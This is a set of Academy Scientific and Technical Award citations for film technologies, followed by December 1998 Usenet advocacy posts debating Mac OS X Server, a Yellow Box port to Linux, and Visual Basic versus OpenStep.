unusual shotmaking capabilities, it greatly expands the creative
opportunities for cinematographers and directors.
_
To James F. Foley, Charles Converse and F. Edward Gardner of UCISCO; and
to Bob Stoker and Matt Sweeney for the development and realization of the
Liquid Synthetic Air system.
The Liquid Synthetic Air system provides a stable, breathable mixture of
liquid oxygen and liquid nitrogen for the creation of safe, low-lying fog
effects in motion pictures.
_
To Richard Chuang, Glenn Entis and Carl Rosendahl for the concept and
architecture of the Pacific Data Images (PDI) Animation System.
Pacific Data Images created an extensible and flexible procedural
architecture for computer animation. This early proprietary system is
still in use, meeting the increasing demands of contemporary visual
effects and animation production.
_
To James A. Cashin, Roger Hibbard and Larry Jacobson for the design,
development and implementation of a projection system analyzer.
This device permits any projection system to be analyzed and uniformly
quantified with a simple set-up. This allows for the adjustment of the
weave, jitter and screen illumination for optimum projection performance.
_
Scientific And Engineering Awards
(Academy Plaques)
To Eben Ostby, Bill Reeves, Sam Leffler and Tom Duff for the development
of the Marionette Three-Dimensional Computer Animation System.
The creators of Marionette introduced a procedural system for computer
animation with an extensible and flexible software architecture that
allows creation of high-level controls for the animator. This system was
used to create the first, three-dimensional computer animated feature
film, "Toy Story."
_
To Richard Shoup, Alvy Ray Smith and Thomas Porter for their pioneering
efforts in the development of digital paint systems used in motion picture
production.
Much of the foundation for the numerous contemporary digital paint
products for motion pictures can be traced directly back to the early work
of these digital pioneers.
_
To Kirk Handley, Ray Meluch, Scott Robinson, Wilson Allen and John Neary
for the design, development and implementation of the Dolby CP500 Digital
Cinema Processor.
Utilizing digital technology, the CP500 decodes digital soundtracks,
facilitates installation, provides unprecedented ease of operation and may
also improve analog soundtrack reproduction.
_
To Craig Reynolds for his pioneering contributions to the development of
three-dimensional computer animation for motion picture production.
The early contributions of Mr. Reynolds in the digital animation arena
have become both influential and instrumental in the architecture of many
later systems developed at companies throughout the computer animation
industry.
_
To John Gibson, Rob Krieger, Milan Novacek, Glen Ozymok and Dave Springer
for the development of the geometric modeling component of the Alias
PowerAnimator system.
The Alias PowerAnimator system is widely regarded in the computer
animation field as one of the best commercially available software
packages for digital geometric modeling. Used by many motion picture
visual effects houses, it has been a benchmark for comparison of modeling
tools and has had a major influence on visual effects and animation.
_
To Dominique Boisvert, Rejean Gagne, Daniel Langlois and Richard
Laperriere for the development of the "Actor" animation component of the
Softimage computer animation system.
The commercially available Softimage 3D system is widely used in computer
animation of three-dimensional characters for the film industry. The
"Actor" component provided breakthroughs in animation control and
efficiency that led to the widespread use of Softimage in visual effects
and animation production.
_
To Bill Kovacs for his creative leadership and Roy Hall for his principal
engineering efforts that led to the Wavefront Advanced Visualizer computer
graphics system.
The Wavefront System was the first commercial software package for
modeling, animating and rendering computer-generated elements and scenes
that was adopted into widespread use to create digital images with
sufficient quality for theatrical motion pictures.
_
To Joel Johnson of the O'Connor Laboratories for the unique design
improvement in fluid-head counter-balancing techniques as used in their
Model 2575.
The 2575 is the first spring counter-balanced fluid head to enable the
camera to be tilted through a full 180 degree arc. The unique pan and tilt
head balances the camera package at all tilt angles throughout the full
range, allowing the camera to remain where it is positioned without
springing back towards the center.
To Al Jensen, Chuck Headley, Jean Messner and Hazem Nabulsi of CEI
Technology for the production of a self-contained, flicker-free, Color
Video-Assist Camera.
This device can be used with virtually any professional motion picture
camera and provides color or black-and-white video assist images which are
flicker-free. Switchable options allow for image manipulation and
increased low-light sensitivity.
_
Academy Award Of Merit
(Oscar Statuette)
To Gunnar P. Michelson for the engineering and development of an improved,
electronic, high-speed, precision light valve for use in motion picture
printing machines.
The Michelson light valve is capable of making accurate changes in
printing beam intensities more rapidly than devices that were formerly
available to the motion picture industry. Mechanical linkages have been
eliminated entirely. The all-electronic design makes it possible to preset
the vane openings for each of the fifty positions in its total range. As a
result, all Michelson light valves in a laboratory can be adjusted to
conform to a standard light scale.
Sean Luke
seanl@cs.umd.edu
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 7 Dec 1998 01:36:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74fbeb$ouk@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net>
On Sun, 06 Dec 1998 16:28:22 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>> Let's assume, just for the moment, that it would just take two man-years of
>> effort from engineering to have a Linux port of YB. Let's note that we
>> haven't considered management's time trying to get a handle on the business
>> case for this port, sales to plan a campaign to create and sell to this
>> hypothetical market, QA people to test it, do a beta program, and so forth.
>This is all so much remarkably weak rationalization. Business case? What
>for? To satisfy paperwork requirements?
Publicly held companies refrain from spending investor money without some
justification, or at least some possibility of turning that investment into a
viable, profitable product. (At least all the ones I've dealt with.)
Do you think Oracle just ported its products for the hell of it? Do you think
that Sun didn't first gauge the market, and then decide to act?
> Have the engineer write it
>himself,
Might be seen as a conflict of interest. I sure as hell wouldn't give dime
one to support any project unless there was some objective research that
the market would support the product.
> or hire an MBA intern to do the job.
Maybe, but try and find one that isn't trying to get the word Java on his
resume.
>Sales to plan a campaign? Spare me. Where was Macromedia's sales
>campaign when it released the Flash plugin for Linux? Progressive
>Networks' when it released RealAudio Player for Linux?
Their Linux sales campaigns piggybacked on their main sales campaigns.
Do you think it is an accident that the RealAudio server is bundled with
RedHat Linux?
>You don't need a
>sales campaign to sell Linux software, you post to Freshmeat.net and
Bull.
You don't need a campaign to _give away_ software, you do need one to
_sell_ software.
<<clip>>
>QA people to test it? How about the engineer who wrote it? It's
>*unsupported* software, use at your own risk.
That will inspire confidence in the enterprise market and get people to
use YB? Here some software we had a guy whip up in his spare time, we aren't
going to support it; feel free to use it.
<<clip>>
>> What new customers is Apple going to gain to justify this expense? The Intel
>> world falls into two categories: the vast majority, who have to run Windows
>> (for other apps like Office, management fiat, whatever) and those who are
>> free to run other operating systems. Of the people in the second category,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> how many are not going to get MOXS/Intel because they insist upon running
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> Linux?
^^^^^^
>Huh? This is a port of YB to Linux. What will they run if not Linux?
Reread that question.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 14:12:36 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74ekv4$mnu$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com> <74edr2$of0$1@samsara0.mindspring.com>
NNTP-Posting-Date: 6 Dec 1998 19:12:58 GMT
In article <74edr2$of0$1@samsara0.mindspring.com>, Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <74e7v2$m8b$1@crib.corepower.com> Nathan Urban,
> nurban@crib.corepower.com writes:
> >> When you need to develop an application in three months that features 20+
> >> feature-full dialog boxes, with over 1000 controls, reads and write files
> >> locally and remotely via local fs, SMB, and FTP protocols, and has a
> >> professional-quality interface, what do you use? Assembler?
> >Why, OpenStep and Objective-C, of course.
> Can you deploy today on Windows with no per-workstation license?
No; wait until next year. But licensing may or may not be a limitation;
for a MCCA type application as described above, the cost savings of
using YB may compensate for the licensing fee you have to add in.
Depends on your customer and how much your app is worth to them.
> I am not averse to learning a better tool, but YB development is not
> possible for many purposes until Apple fixes the runtime issue.
Yes, well, their whole replacement of their licensed imaging model
suggests that they are rather intent on doing so. Now might be the
time to start investigating YB, so that when they change the licensing,
you'll be ready.
> Ideally we will have an opensource solution which touches all the
> important platforms, not just Windows and Mac.
Would be nice.. producing something open-source on the same level of
sophistication as something like YB (the goal of GNUstep) has proven to
be a very difficult task.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 19:37:24 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74emdk$qof$1@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74ej38$mk5$1@crib.corepower.com> <74ekv4$mnu$1@crib.corepower.com> <74elgk$mp5$1@crib.corepower.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <74e8c1$f92@news1.panix.com> Sal Denaro, sal@panix.com writes:
>Under IB+PB you use a MVC (model-view-controller) paradigm for development,
>under VB (and just about every other RAD tool) you use a Document-Model
>paradigm. Why is MVC better?
>
><mantra>
>Painting GUIs is cheap, describing business logic is expensive.
></mantra>
>
<big snip>
Thanks Sal, great points.
Matthew Cromer
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 19:51:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74en8c$t61$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e7oj$m7c$1@crib.corepower.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com> <74ebbj$p66$1@samsara0.mindspring.com>
In article <74ebbj$p66$1@samsara0.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> I'm curious what some of the people here find lacking in VB6, making it a
> "not so good" development environment.
I'll let others take this one but you should really look into the YB
documentation on Apple's website. It would blow my mind if you still thought
VB was better after looking at the first three example applications.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 06 Dec 1998 19:54:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74enea$t7d$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net>
In article <36697D5B.36286143@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> malcolm@plsys.co.uk wrote:
[ ... ]
> According to Apple employees and NeXT advocates, Mac OS X Server is
> complete, and has been complete for some time.
I wonder who said that? It's certainly not true-- Apple has not had some
secret CD marked "finished MOXS release" hidden months ago in Steve's desk.
When you're releasing such a large, interrelated project as an operating
system, part of handling dependancies efficiently is to focus on the critical
stuff and leaving peripheral items until later. You then are prepared to
finish those off and produce a release given something on the order of 3
months advance notice.
PPP support is a perfect example: until after you've solidified things like
the line disipline interfaces to the kernel, or the NetInfo admin tools, or
whatever, it's wasteful to spend time on writing PPP stuff that would have to
be changed and re-written later. So you continue to make what improvements
you can working towards the estimated release date until management actually
pulls the trigger, and then the company does the beta testing, release
candidate, "gamma" version process (names and details vary).
If you don't run into major problems, and nobody's seriously misestimated how
long the peripherals take to complete, and management doesn't joggle too many
elbows making last-minute changes, you'll get the final release product out.
In Apple's case, it seems the licensing has been a curveball that's taken
longer to deal with than expected. So I'd imagine that getting the licensing
issues finalized, not interfering with the MacOS update at the last WWDC,
having WOF 4 completed were major factors for the current timing. I believe
that Apple could have shipped three months ago (albeit with a slightly less
mature OS), had management given the engineers notification around the end of
May.
I've got a fair amount of circumstantial evidence to support this little
theory of mine-- but I don't hobnob with Apple's senior management either, so
I could be wrong. The responsible people who actually know at Apple haven't
cared to discuss it publicly.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 06 Dec 1998 20:45:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74eqe0$vjq$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net>
In article <3669D962.F5C9CBBB@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
[ ... ]
>> Why commit the resources to port to a plaform - X86-,
>> when an X86 port exists?
>
> What resources?! Amidst a sea of references to "resources" with no
> qualification, here is my guess: in the nearly 24 months since Apple
> bought NeXT, exactly one person, comfortable with Mach, BSD, and Linux,
> could have performed the BSD->Linux port of YB. Such a person could
> probably have completed it in far less than 24 months.
Let's assume, just for the moment, that it would just take two man-years of
effort from engineering to have a Linux port of YB. Let's note that we
haven't considered management's time trying to get a handle on the business
case for this port, sales to plan a campaign to create and sell to this
hypothetical market, QA people to test it, do a beta program, and so forth.
What new customers is Apple going to gain to justify this expense? The Intel
world falls into two categories: the vast majority, who have to run Windows
(for other apps like Office, management fiat, whatever) and those who are
free to run other operating systems. Of the people in the second category,
how many are not going to get MOXS/Intel because they insist upon running
Linux?
[ Hey, I've got nothing against Linux or a YB port to Linux. I'm thrilled
that the GNUstep project exists, and I wish 'em the best. But I just don't
see a business case for Apple to divide it's attention towards writing YB for
Linux. ]
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 21:21:04 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74esg0$udi$1@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74ej38$mk5$1@crib.corepower.com> <74ekv4$mnu$1@crib.corepower.com> <74elgk$mp5$1@crib.corepower.com>
Mime-Version: 1.0
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In article <74ej38$mk5$1@crib.corepower.com> Nathan Urban,
nurban@crib.corepower.com writes:
>> Hmmn. VB uses the C++ compiler technology, so I suspect that it doesn't
>> present the same kind of dynamic runtime.
>
>I'm not sure. It might have a dynamic runtime model. Do VB objects
>get mapped directly onto C++ implementations or translated into C++
>which is then compiled, or does it have its own object system?
I don't know, I only know that the literature claims VB and VC++ use the
same compiler tech.
>> The VB GUI builder doesn't seem to have the limitations of the VC++ one.
>
>Hmm, when you create an interface in VB, what is the output? Is it binary
>code that reconstructs the interface, or is it some sort of resource
>file that is read at runtime? Your comments below about how you can't
>change the interface without recompiling suggest that it's binary code
>or perhaps a mixture of binary and resources, not just plain resources.
Basically, the interface is comprised of objects. Such as a form object
with parameters left corner (100,100), right corner (500,500), containing
textbox object with corner (inside the form) of (50,50) and (200,200).
Objects are named and have multiple properties.
Technically, the .frm files are actually objects containing other
objects. Whether to call it code or resources, well it sort of is both.
<rest snipped>
Sounds like a great technology.
MC
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 21:23:15 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74esk3$udi$2@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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In article <74eqt0$vv6$1@nnrp1.dejanews.com> Charles Swiger,
chuck@codefab.com writes:
>Heh-- beat me to it. On the other hand, the notion of writing a large or non-
>GUI application in VB is downright horrifying. :-)
VB6 has facilities for making large-scale software projects. An object
model, encapsulation, classes.
Matthew Cromer
Newsgroups: comp.sys.next.advocacy
From: lparkyn@prosoft.com (Lyle Parkyn)
Subject: Re: WO4 Announcement - NT Only Dev. Environment
Message-ID: <F3KBDG.680@prosoft.com>
Sender: lparkyn@prosoft.com (Lyle Parkyn)
Organization: ProSoft Solutions Inc. (RDS Site)
References: <cdoutyF3Gyws.2rM@netcom.com>
Date: Sun, 6 Dec 1998 21:22:28 GMT
In article <cdoutyF3Gyws.2rM@netcom.com> cdouty@netcom.com (Chris Douty)
writes:
> In article <36688BB3.DABFA70E@wdg.mot.com>,
> Lyle Parkyn <parkyn@wdg.mot.com> wrote:
> >"Karsten D. Wolf" wrote:
> >
> >> Lyle Parkyn wrote:
> >> >
> >> > Did anyone else notice that the only development environment for
WO4 is on
> >> > WinNT?
> >> >
> >> > Hopefully, this is temporary until MacOS X comes out.
> >> > --
> >>
> >> Full development will be also possible on MacOS X. (I am glad to
leave
> >> that NT machine, I can tell You!)
> >
> >You sound so certain. What makes you think this?
>
> How about announcement that WO4 *WILL* ship for MacOS X Server in
> "January" made by an Apple offical at an offical Apple seminar in
Apple's
> headquaters? That seems pretty certain to me.
Glad to hear it.
--
Lyle Parkyn
ProSoft Solutions Inc. (http://www.prosoft.com)
lparkyn@prosoft.com (NeXTmail, text or MIME formats welcome)
Bus:(604)324-3311 Fax:(604)538-7694
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sun, 06 Dec 1998 21:57:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74eujp$31u$1@nnrp1.dejanews.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749uf4$66l$1@nnrp1.dejanews.com> <74ajf6$i24$1@camel21.mindspring.com>
"Mark Eaton" <markeaton@mindspring.com> wrote:
> >> I may be missing something here, but if it is/was so great where are
> >> all the ground breaking applications?
> >>
> >You mean like WorldWideWeb.app? Tailor.app? Mathematica.app? Improv.app?
>
> All of which went on to fame and fortune on other platforms. None used
> OpenStep (nee YellowBox) on the other platforms - which to me means that
> their initial development on OpenStep was incidental.
Well, in the case of Improv at least, I recall the Lotus programmers saying
publically that they could not have developed the app if it wasn't for
NeXTSTEP (no OPENSTEP at the time). And Improv certainly didn't go on to fame
and fortune on other platforms, partly because Lotus never really did get it
working well in the absence of NeXTSTEP.
So Improv, at least, does prove the original point.
As for worldwideweb.app, I think what's significant here is that it was
written by ONE PERSON on a NeXT (again, not on OPENSTEP, which it predates by
several years). So was Tailor. They may have gone on to fame and fortune on
other platforms, but they wouldn't have existed at all in the absence of
NeXTSTEP.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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Date: Mon, 07 Dec 1998 09:19:37 +1000
From: tsunami@pnc.com.au (Graham)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Lawson's Law
Message-ID: <tsunami-0712980919370001@d84-nas2.pen.pnc.com.au>
References: <74eklj$m73$1@cronkite.cs.umd.edu> <azid-0612982030310001@ti34a21-0060.dialup.online.no>
Organization: T&S Design
In article <azid-0612982030310001@ti34a21-0060.dialup.online.no>,
azid@technologist.com (head) wrote:
> In article <74eklj$m73$1@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean
> Luke) wrote:
>
> >()
>
> it couldnt be a thread, both hitler and gx in one post
WHAT IF I CALLED YOU A QuickDraw GX NAZI FASCIST?
That would add redundancy to the argument as well. WOULDN"T IT?
;_)
--
** REALITY IS FOR ACCOUNTANTS **
From: Michael McConnell <soruk@eridani.demon.co.uk>
Newsgroups: comp.sys.mac.advocacy,misc.invest.stocks,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Net '94 = Linux '99
Date: Sun, 6 Dec 1998 21:44:59 +0000
Message-ID: <Pine.LNX.3.96.981206214411.580E-100000@Kachiri.Eridani.LAN>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <B6DC2A2A2680901E.344457EA9C0EB739.05181CE8B041105B@library-proxy.airnews.net>
In-Reply-To: <B6DC2A2A2680901E.344457EA9C0EB739.05181CE8B041105B@library-proxy.airnews.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Sat, 5 Dec 1998, Sheldon Gartner wrote:
> (2) Acorn's RiscOS GUI.
>
> I don't know much about that OS, but it's supposed to have a nice GUI.
> Unfortunately for it, it has, like, zero market share outside of the
> UK. So there is every _logical_ reason to contribute its GUI to Linux,
> but I don't know how difficult it would be techwise or businesswise.
I for one would love a Linux GUI based on RiscOS :)
*has to make do with Arcem*
-- Soruk
#include <sigfile.h> [M1CNV] http://www.eridani.demon.co.uk
DFAX: +44 (0)8701-600807 P2-333: Windows crashes faster!
Tel: +44 (0)403-627954 Linux: Because Windows95 is a pane in the glass..
Message-ID: <366B0506.5F628758@nstar.net>
Date: Sun, 06 Dec 1998 16:28:22 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> Let's assume, just for the moment, that it would just take two man-years of
> effort from engineering to have a Linux port of YB. Let's note that we
> haven't considered management's time trying to get a handle on the business
> case for this port, sales to plan a campaign to create and sell to this
> hypothetical market, QA people to test it, do a beta program, and so forth.
This is all so much remarkably weak rationalization. Business case? What
for? To satisfy paperwork requirements? Have the engineer write it
himself, or hire an MBA intern to do the job.
Sales to plan a campaign? Spare me. Where was Macromedia's sales
campaign when it released the Flash plugin for Linux? Progressive
Networks' when it released RealAudio Player for Linux? You don't need a
sales campaign to sell Linux software, you post to Freshmeat.net and
hold a press conference for the NEWS.COM pundits. The same way Sun
handled it when it announced it was helping port Linux to Ultra
hardware. Linux users don't read PCWEEK and Windows World. They read
Websites, and Websites pick up news items like "YB ported to Linux" more
quickly than print publications do. Let the news sites be your marketing
campaign.
QA people to test it? How about the engineer who wrote it? It's
*unsupported* software, use at your own risk. If the market grows to
sufficient size, *then* you devote official support resources to it. Let
the Linux market prove itself. It will provide better beta testing than
in-house developers, anyway.
The beta program is the only thing in the list above that needs
attention. Would you care to estimate the amount of effort necessary to
post a Webpage, inform the support people, and put the binary on an FTP
site? Somewhere between a mountain and a molehill [wink]?
> What new customers is Apple going to gain to justify this expense? The Intel
> world falls into two categories: the vast majority, who have to run Windows
> (for other apps like Office, management fiat, whatever) and those who are
> free to run other operating systems. Of the people in the second category,
> how many are not going to get MOXS/Intel because they insist upon running
> Linux?
Huh? This is a port of YB to Linux. What will they run if not Linux?
[cut]
MJP
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 06 Dec 1998 22:19:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74evt4$41m$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <Macghod-0412981633430001@pool021-max8.ds28-ca-us.dialup.earthlink.net> <74bugf$o2u$1@nnrp1.dejanews.com> <Macghod-0512981155370001@pool020-max2.ds28-ca-us.dialup.earthlink.net>
In article <Macghod-0512981155370001@pool020-max2.ds28-ca-
us.dialup.earthlink.net>,
Macghod@concentric.net (Steve) wrote:
> In article <74bugf$o2u$1@nnrp1.dejanews.com>, "Charles Swiger"
> <chuck@codefab.com> wrote:
>>> Do they have drivers for the rage II and rage pro yet, as well any other
>>> drivers on officially supported machines?
>>
>> Umm, wouldn't you expect ATI Rage drivers to exist since that's the graphic
>> chipset built onto the motherboards of the current Mac hardware? How could
>> MOXS run on Apple's PPC systems without them?
>
> Well, did rhapsody dr2 have rage drivers? I heard it was slow because it
> didnt. And as far as working without drivers, if you take the ati drivers
> out of the extensions on the macos, things still work, its just alot
> slower
Ahh, I see what you're asking-- the difference between "no drivers", "generic
compatibility drivers", and "hardware-specific drivers".
However, you'll have to forgive me for trying to answer your questions
indirectly. One is not supposed to specificly discuss what's in or not in a
beta product received under NDA. Hmm...maybe this'll do:
8% uname -smr
Rhapsody 5.2 Power Macintosh
9% find /private/Drivers/ppc -name '*RagePro*'
/private/Drivers/ppc/IONDRV.config/ATYRagePro_ndrv
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: davecook@home.com (David M. Cook)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74dae1$98q$1@camel21.mindspring.com> <74daj3$va6$1@camel21.mindspring.com> <74dbnb$2gq$1@camel21.mindspring.com> <366A39E5.D9F03DBA@nstar.net>
Organization: http://www.kernel-panic.com/links/devel.html
Message-ID: <slrn76m8dn.h4.davecook@sputnik.escnd1.sdca.home.com>
Date: Mon, 07 Dec 1998 00:29:13 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 16:29:13 PDT
On Sun, 06 Dec 1998 02:01:41 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>The previous poster mentioned "tcl-perl-python/tk". Forget TCL right off
>the bat; it's an extremely weak language, originally intended for very
>very small programs (<500 lines).
I don't like Tcl, but people do manage to do amazing things with it. I
would not discourage anyone from trying it. And I like Tk a lot.
>Python *is* a wonderful language for
>object-oriented RAD, but it's generally used with the Tk interface kit.
It's a little slow, but I do like the Tk interface myself.
However, lately I've been using pygtk. There are also interfaces for
WxWindows, Qt/KDE, and several other toolkits. (There are also win32 and
COM interfaces.)
Dave Cook
From: davecook@home.com (David M. Cook)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net> <slrn76m2m7.jdb.treed@freeside.ultraviolet.org> <366B0E2C.DDEF264F@nstar.net>
Organization: http://www.kernel-panic.com/links/devel.html
Message-ID: <slrn76m8ja.h4.davecook@sputnik.escnd1.sdca.home.com>
Date: Mon, 07 Dec 1998 00:32:12 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 16:32:12 PDT
On Sun, 06 Dec 1998 17:07:24 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Those that *aren't* being reinvented are being done well. Qt and KDE are
>a good example of this. They're built by people who understand the value
>of orthodoxy and mimicry as well as that of new innovation. I'll leave
>the alternatives as an exercise for the reader.
I other words you have nothing of substance to say.
Dave Cook
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 19:42:50 -0500
Organization: Mohawk Software
Message-ID: <366B248A.5F03219A@mohawksoft.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com>
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quinlan@intergate.bc.ca wrote:
>
>
> Large financial systems, supercomputer code and flight control systems are, of
> course, toy problems and don't need the power of C/C++ or assember. That's why
> they are commonly written in FORTRAN, M2 and other languages
Super computer programs are far different than "microcomputer" programs.
I am mostly referring to VB and ActiveX, the Windows only club of
development standards.
>
> > ActiveX is an intentional road block to portability. The RAD development
> > idea is for idiotic acronym touting jerks. If you can write an
> > application in VB in 1 day or less, it like any interpreted language is
> > fine. When you want to write real applications, VB is a huge road block
> > to success.
>
> There isn't a one-to-one relationship between VB and RAD. There are RAD
